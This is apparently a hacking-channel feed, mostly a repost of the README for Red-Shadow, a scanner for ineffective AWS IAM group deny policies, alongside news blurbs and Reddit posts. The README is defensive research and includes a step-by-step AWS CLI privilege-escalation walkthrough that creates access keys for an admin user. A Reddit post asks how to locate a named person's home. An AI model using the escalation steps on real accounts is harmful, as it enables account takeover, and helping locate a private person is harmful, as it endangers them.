Red-Shadow - Lightspin AWS IAM Vulnerability Scanner
http://www.kitploit.com/2021/06/red-shadow-lightspin-aws-iam.html

___________________________
@hacking_Attack
@Hacking_Video

Scan your AWS IAM Configuration for shadow admins in AWS IAM based on misconfigured deny policies not affecting users in groups discovered by Lightspin's Security Research Team. The tool detects the misconfigurations (https://www.kitploit.com/search/label/Misconfigurations) in the following IAM Objects: Managed Policies Users Inline Policies Groups Inline Policies Roles Inline Policies
Research Summary
AWS IAM evaluation logic for deny policies applied to groups does not work the same way as most security engineers may be used to with other authorization (https://www.kitploit.com/search/label/Authorization) mechanisms. Suppose a policy with a group resource has an explicit deny. In that case, this will only impact group actions and not user actions, opening organizations up to misconfiguration (https://www.kitploit.com/search/label/Misconfiguration) and vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) if they assume the process to be the same as with Active Directory, for example. Example for vulnerable json policy: {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectManagersByDeny",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
} In this example, the policy should deny any iam action done by users, groups, or roles with that policy attached to, towards the group called managers. The fact is that simple IAM action like iam:ChangePassword would work as the deny policy is ineffective. Link to the full security research blog (https://blog.lightspin.io/aws-iam-groups-authorization-bypass)
Detection
AWS IAM has a clear seperation between user object actions and group object actions. The following list includes the user object actions the tool is scanning over deny policies affecting groups (besides wildcard): AWS_USER_ACTIONS = ["iam:CreateUser",
"iam:GetUser",
"iam:UpdateUser",
"iam:DeleteUser",
"iam:GetUserPolicy",
"iam:PutUserPolicy",
"iam:DeleteUserPolicy",
"iam:ListUserPolicies",
"iam:AttachUserPolicy",
"iam:DetachUserPolicy",
"iam:ListAttachedUserPolicies",
"iam:SimulatePrincipalPolicy",
"iam:GetContextKeysForPrincipalPolicy",
"iam:TagUser",
"iam:UpdateSSHPublicKey",
"iam:UntagUser",
"iam:GetSSHPublicKey",
"iam:ListUserTags",
"iam:DeleteSSHPublicKey",
"iam:GetLoginProfile",
"iam: GetAccessKeyLastUsed",
"iam:UpdateLoginProfile",
"iam:UploadSigningCertificate",
"iam:DeleteLoginProfile",
"iam:ListSigningCertificates",
"iam:CreateLoginProfile",
"iam:UpdateSigningCertificate",
"iam:EnableMFADevice",
"iam:DeleteSigningCertificate",
"iam:ResyncMFADevice",
"iam:ListServiceSpecificCredentials",
"iam:ListMFADevices",
"iam:ResetServiceSpecificCredential",
"iam:DeactivateMFADevice",
"iam:CreateServiceSpecificCredential",
"iam:ChangePassword",
"iam:UpdateServiceSpecificCredential",
"iam:CreateAccessKey",
"iam:DeleteServiceSpecifi cCredential",
"iam:ListAccessKeys",
"iam:PutUserPermissionsBoundary",
"iam:UpdateAccessKey",
"iam:DeleteUserPermissionsBoundary",

___________________________
@hacking_Attack
@Hacking_Video

Requirements
Red-Shadow is built with Python 3 and Boto3. The tool requires: IAM User with Access Key in OS Env (https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) Sufficient permissions for the IAM User to run the scanner (https://github.com/lightspin-tech/red-shadow/blob/main/red-shadow-policy.json) Python 3 and pip3 installed
Installation
sudo git clone https://github.com/lightspin-tech/red-shadow.git
cd red-shadow
pip3 install -r requirements.txt
Usage
python3 red-shadow.py
Analyze Results
The results discover any IAM object that is vulnerable to such authorization bypass in AWS. Example of results output: ++ Starting Red-Shadow ++

++ AWS IAM Vulnerability Scanner
++ Red Shadow scans for shadow admins in AWS IAM based on misconfigured deny policies not affecting users in groups

Step 1: Searching for IAM Group misconfigurations in managed policies
Found potential misconfiguration at arn:aws:iam::123456789999:policy/ProtectManagers
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 2: Searching for IAM Group misconfigurations in Users inline policies
Progress: |█████████████████████π 8;████████████████████████████| 100.0% Complete
Step 3: Searching for IAM Group misconfigurations in Groups inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 4: Searching for IAM Group misconfigurations in Roles inline policies
Progress: |████████████████████████████████ ██████████████████| 100.0% Complete
Done In this console output, we can see that our ProtectManagers deny policy is ineffective and vulnerable to attacks such as privilege escalation mentioned above.


Simulation & Exploitation
To validate the IAM Vulnerability and run the exploitation you can run the following flow: aws iam create-group --group-name managers aws iam attach-group-policy --group-name managers --policy-arn arn:aws:iam::aws:policy/AdministratorAccess aws iam create-user --user-name JohnAdmin aws iam add-user-to-group --user-name JohnAdmin --group-name managers create a policy.json file with the contents below (replace the account id): {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectManagersByDeny",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
} aws iam create-policy --policy-name ProtectManagers --policy-document file://policy.json aws iam create-group --group-name backend-dev aws iam create-user --user-name BobAttacker aws iam add-user-to-group --user-name BobAttacker --group-name backend-dev aws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/ProtectManagers Create a policy to allow the users to create access keys in policy_iam.json file for the backend-dev group: {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "iam:CreateAccessKey",
"Resource": "*"
}
]
} aws iam create-policy --policy-name devCreateAccessKeys --policy-document file://policy_iam.json aws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/devCreateAccessKeys Validate our configuration using: aws iam list-attached-group-policies --group backend-dev aws iam create-access-key --user-name BobAttacker Configure the new access key and secret in aws profile (locan env) Now the user BobAttacker can create access key for all resources but has an explicit deny for the managers group. Lets Exploit the vulnerability using: aws iam create-access-key --user-name JohnAdmin --profile BobAttacker Privilege Escalation Complete!


Remediation

___________________________
@hacking_Attack
@Hacking_Video

Once you have found the policies vulnerable to the authorization bypass, there are two possible ways to remediate the vulnerability and fix the policy: OPTION 1: Define all relevant users in the resource field instead of groups to avoid ineffective iam actions, and deny all group actions, such as the following example: {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenySpecificUserActions",
"Effect": "Deny",
"Action": [
"iam:CreateLoginProfile",
"iam:ChangePassword",
"iam:CreateAccessKey"
],
"Resource": [
"arn:aws:iam::123456789999:user/DanaH@acme.com",
"arn:aws:iam::123456789999:user/DavidZ@acme.com",
"arn:aws:iam::123456789999:user/EladS@acme.com"
]
},
{
"Sid": "DenyAllGroupActions",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
} OPTION 2: Use condition in the policy with iam:ResourceTag in place such as the following example: {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Deny",
"Action": [
"iam:CreateLoginProfile",
"iam:ChangePassword",
"iam:CreateAccessKey"
],
"Resource": "*",
"Condition": {
"ForAnyValue:StringEquals": {
"iam:ResourceTag/group": "managers"
}
}
}
]
}
Contact Us
This research was held by Lightspin's Security Research Team. For more information, contact us at support@lightspin.io (mailto:support@lightspin.io).

Download Red-Shadow (https://github.com/lightspin-tech/red-shadow)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
MyBook Investigation Reveals Attackers Exploited Legacy, Zero-Day Vulnerabilities

A previously unknown flaw in Western Digital's older network-attached storage systems allowed unauthenticated commands to trigger a factory reset, formatting the hard drives, says the company after its preliminary investigation.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Attackers Already Unleashing Malware for Apple macOS M1 Chip

Apple security expert Patrick Wardle found that some macOS malware written for the new M1 processor can bypass anti-malware tools.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Impersonation Becomes Top Phishing Technique

A new report finds IT, healthcare, and manufacturing are the industries most targeted by phishing emails.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Aumento de crimes cibernéticos durante a pandemia da COVID-19 no Brasil e como se defender

https://cdn-images-1.medium.com/max/1920/1*0VJyM3CM1ynsw0K4uwgX_A.jpeg
Tendo em vista que durante a pandemia diversas pessoas estão em quarentena nas suas casas o uso da internet se torna indispensável para…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Windows Fundamentals 1

https://cdn-images-1.medium.com/max/600/1*MelTd0cg1LLRfOuZSfDLIw.png
Hello to all , this is the first write-up for us , i’d like to share knowledge in Windows Fundamentals with infosec community , btw this…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Red-Shadow - Lightspin AWS IAM Vulnerability Scanner

http://3.bp.blogspot.com/-JIHt9E_p2UU/YNEtE4TIN9I/AAAAAAAAdj4/E-RnSIOlbqc-yvrcce05eoSCbQ1qxS-MQCK4BGAYYCw/w640-h640/red-shadow_1_red-shadow-788839.png Scan your AWS IAM Configuration for shadow admins in AWS IAM based on misconfigured deny policies not affecting users in groups discovered by Lightspin's Security Research Team.

The tool detects the misconfigurations in the following IAM Objects:

*
Managed Policies

*
Users Inline Policies

*
Groups Inline Policies

*
Roles Inline Policies Research SummaryAWS IAM evaluation logic for deny policies applied to groups does not work the same way as most security engineers may be used to with other authorization mechanisms.

Suppose a policy with a group resource has an explicit deny. In that case, this will only impact group actions and not user actions, opening organizations up to misconfiguration and vulnerabilities if they assume the process to be the same as with Active Directory, for example.

Example for vulnerable json policy: {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectManagersByDeny",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}In this example, the policy should deny any iam action done by users, groups, or roles with that policy attached to, towards the group called managers.

The fact is that simple IAM action like iam:ChangePasswordwould work as the deny policy is ineffective. Link to the full security research blog DetectionAWS IAM has a clear seperation between user object actions and group object actions.

The following list includes the user object actions the tool is scanning over deny policies affecting groups (besides wildcard): AWS_USER_ACTIONS = ["iam:CreateUser",
"iam:GetUser",
"iam:UpdateUser",
"iam:DeleteUser",
"iam:GetUserPolicy",
"iam:PutUserPolicy",
"iam:DeleteUserPolicy",
"iam:ListUserPolicies",
"iam:AttachUserPolicy",
"iam:DetachUserPolicy",
"iam:ListAttachedUserPolicies",
"iam:SimulatePrincipalPolicy",
"iam:GetContextKeysForPrincipalPolicy",
"iam:TagUser",
"iam:UpdateSSHPublicKey",
"iam:UntagUser",
"iam:GetSSHPublicKey",
"iam:ListUserTags",
"iam:DeleteSSHPublicKey",
"iam:GetLoginProfile",
"iam: GetAccessKeyLastUsed",
"iam:UpdateLoginProfile",
"iam:UploadSigningCertificate",
"iam:DeleteLoginProfile",
"iam:ListSigningCertificates",
"iam:CreateLoginProfile",
"iam:UpdateSigningCertificate",
"iam:EnableMFADevice",
"iam:DeleteSigningCertificate",
"iam:ResyncMFADevice",
"iam:ListServiceSpecificCredentials",
"iam:ListMFADevices",
"iam:ResetServiceSpecificCredential",
"iam:DeactivateMFADevice",
"iam:CreateServiceSpecificCredential",
"iam:ChangePassword",
"iam:UpdateServiceSpecificCredential",
"iam:CreateAccessKey",
"iam:DeleteServiceSpecifi cCredential",
"iam:ListAccessKeys",
"iam:PutUserPermissionsBoundary",
"iam:UpdateAccessKey",
"iam:DeleteUserPermissionsBoundary",
"iam:DeleteAccessKey",
"iam:ListGroupsForUser",
"iam:ListSSHPublicKeys",
"iam:UploadSSHPublicKey"]Many of the user object actions mentioned above can easily lead to a privilege escalation or compromising the account, such as resetting the admin's password, deactivating the root account MFA, and more. RequirementsRed-Shadow is built with Python 3 and Boto3.

The tool requires:

* IAM User with Access Key in OS Env
* Sufficient permissions for the IAM User to run the scanner
* Python 3 and pip3 installed Installationsudo git clone https://github.com/lightspin-tech/red-shadow.git
cd red-shadow
pip3 install -r requirements.txtUsagepython3 red-shadow.pyAnalyze ResultsThe results discover any IAM object that is vulnerable to such authorization bypass in AWS.

Exam[...]

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Red-Shadow - Lightspin AWS IAM Vulnerability Scanner

___________________________
@hacking_Attack
@Hacking_Video

Testing Cookies worth $500

Hello everybody, I am Sankalpa Acharya from Nepal. A few weeks ago I had found IDOR vulnerability on cookies, which worth $500 to me. SO…Continue reading on Medium »
Read more...

Why is my boss purposely limiting our scope to our own security appliances??
https://www.reddit.com/r/Pentesting/comments/ob9gme/why_is_my_boss_purposely_limiting_our_scope_to/

I work in a “ SOC” and I kid you not, he gave the pen testers links only to our SIEM, waf, hids and said try to break in… We are an azure shop, why would he not give them azure subscriptions/IPs/Hosts within our cluster so we can test our detections?! Am I missing something? submitted by /u/bankster24 (https://www.reddit.com/user/bankster24)
[link] (https://www.reddit.com/r/Pentesting/comments/ob9gme/why_is_my_boss_purposely_limiting_our_scope_to/) [comments] (https://www.reddit.com/r/Pentesting/comments/ob9gme/why_is_my_boss_purposely_limiting_our_scope_to/)

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Finding the location of someone?

Is there anything on the dark web that can help get someone's house location. I know the persons name, socials, area they live around, school they go to. This isn't to harm them, I can tell the reason if you really wanna know

submitted by /u/thecomicnerd101
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video